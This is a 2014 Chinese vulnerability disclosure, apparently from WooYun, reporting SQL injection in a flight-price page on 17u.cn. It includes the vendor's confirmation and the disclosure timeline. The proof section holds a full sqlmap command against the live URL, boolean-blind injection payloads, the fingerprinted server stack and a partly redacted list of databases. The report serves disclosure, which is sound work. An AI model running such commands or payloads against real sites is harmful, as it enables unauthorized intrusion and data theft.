同程17u.cn主站SQL注入

漏洞详情

披露状态:

2014-04-08: 细节已通知厂商并且等待厂商处理中
2014-04-08: 厂商已经确认,细节仅向厂商公开
2014-04-18: 细节向核心白帽子及相关领域专家公开
2014-04-28: 细节向普通白帽子公开
2014-05-08: 细节向实习白帽子公开
2014-05-23: 细节向公众公开

简要描述:

SQL注入

详细说明:

http://www.17u.cn/flight/FlightPriceNew.aspx?ajax=GetPageData&OrgPort=CSX&DesPort=&Sort=&CurrPage=2 参数OrgPort可被注入

漏洞证明:

python sqlmap/sqlmap.py -u "http://www.17u.cn/flight/FlightPriceNew.aspx?ajax=GetPageData&OrgPort=CSX&DesPort=&Sort=&CurrPage=2" --dbms="microsoft sql server" --dbs

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: ajax
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ajax=GetPageData AND 7825=7825-- Wmnj&OrgPort=CSX&DesPort=&Sort=&CurrPage=2

Place: GET
Parameter: OrgPort
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ajax=GetPageData&OrgPort=CSX' AND 7394=7394 AND 'KNGc'='KNGc&DesPort=&Sort=&CurrPage=2
there were multiple injection points, please select the one to use for following injections:
[0] place: GET, parameter: OrgPort, type: Single quoted string (default)
[1] place: GET, parameter: ajax, type: Unescaped numeric
[q] Quit
> 0
[10:42:00] [INFO] testing Microsoft SQL Server
[10:42:00] [INFO] confirming Microsoft SQL Server
[10:42:00] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
[10:42:00] [INFO] fetching database names
[10:42:00] [INFO] fetching number of databases
[10:42:00] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[10:42:00] [INFO] retrieved: 28
[10:42:04] [INFO] retrieved: ***
[10:42:14] [INFO] retrieved: ***
[10:42:41] [INFO] retrieved: ***
[10:42:52] [INFO] retrieved: master
[10:43:01] [INFO] retrieved: model
[10:43:10] [INFO] retrieved: msdb
[10:43:16] [INFO] retrieved: ***
[10:44:00] [INFO] retrieved: ***
[10:44:49] [INFO] retrieved: ***
[10:44:58] [INFO] retrieved: ***
[10:45:09] [INFO] retrieved: ***
[10:45:33] [INFO] retrieved: ***
[10:45:46] [INFO] retrieved: ***
[10:45:54] [INFO] retrieved: ***
[10:46:18] [INFO] retrieved: ***
[10:46:31] [INFO] retrieved: ***
[10:46:51] [INFO] retrieved: ***
[10:47:13] [INFO] retrieved: ***
[10:47:38] [INFO] retrieved: ***
[10:48:04] [INFO] retrieved: ***
[10:48:24] [INFO] retrieved: ***
[10:49:19] [INFO] retrieved: ***
[10:50:23] [INFO] retrieved: ***
[10:51:25] [INFO] retrieved: ***
......



41E85D9F-507D-4824-BFF5-9E105ED2D2E6.png

修复方案:

你懂的

版权声明:转载请注明来源 m_vptr@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-04-08 18:02

厂商回复:

老页面,未下线,多谢提交!

最新状态:

暂无


漏洞评价: